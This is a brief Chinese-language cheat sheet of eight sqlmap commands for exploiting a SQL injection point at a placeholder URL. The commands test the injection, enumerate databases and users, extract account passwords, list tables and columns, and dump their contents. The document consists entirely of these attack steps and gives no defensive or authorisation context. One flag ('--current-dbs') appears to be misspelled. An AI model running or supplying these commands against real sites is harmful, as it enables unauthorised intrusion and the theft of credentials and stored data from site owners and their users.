1、檢測注入點是否可用
python sqlmap.py -u "url"
2、從目標url爆破所有資料庫名
python sqlmap.py -u "url" --dbs
3、從目標url爆破當前資料庫名
python sqlmap.py -u "url" --current-dbs
4、列出資料庫所有使用者
python sqlmap.py -u "url" --users
5、列出資料庫賬戶密碼
python sqlmap.py -u "url" --passwords
6、列出指定資料庫的所有表名
python sqlmap.py -u "url" -D databasename --tables
7、列出指定表的所有欄位名
python sqlmap.py -u "url" -D databasename -T tablename --columns --hex
8、列出指定欄位內容
python sqlmap.py -u "url" -D databasename -T tablename -C columnname --dump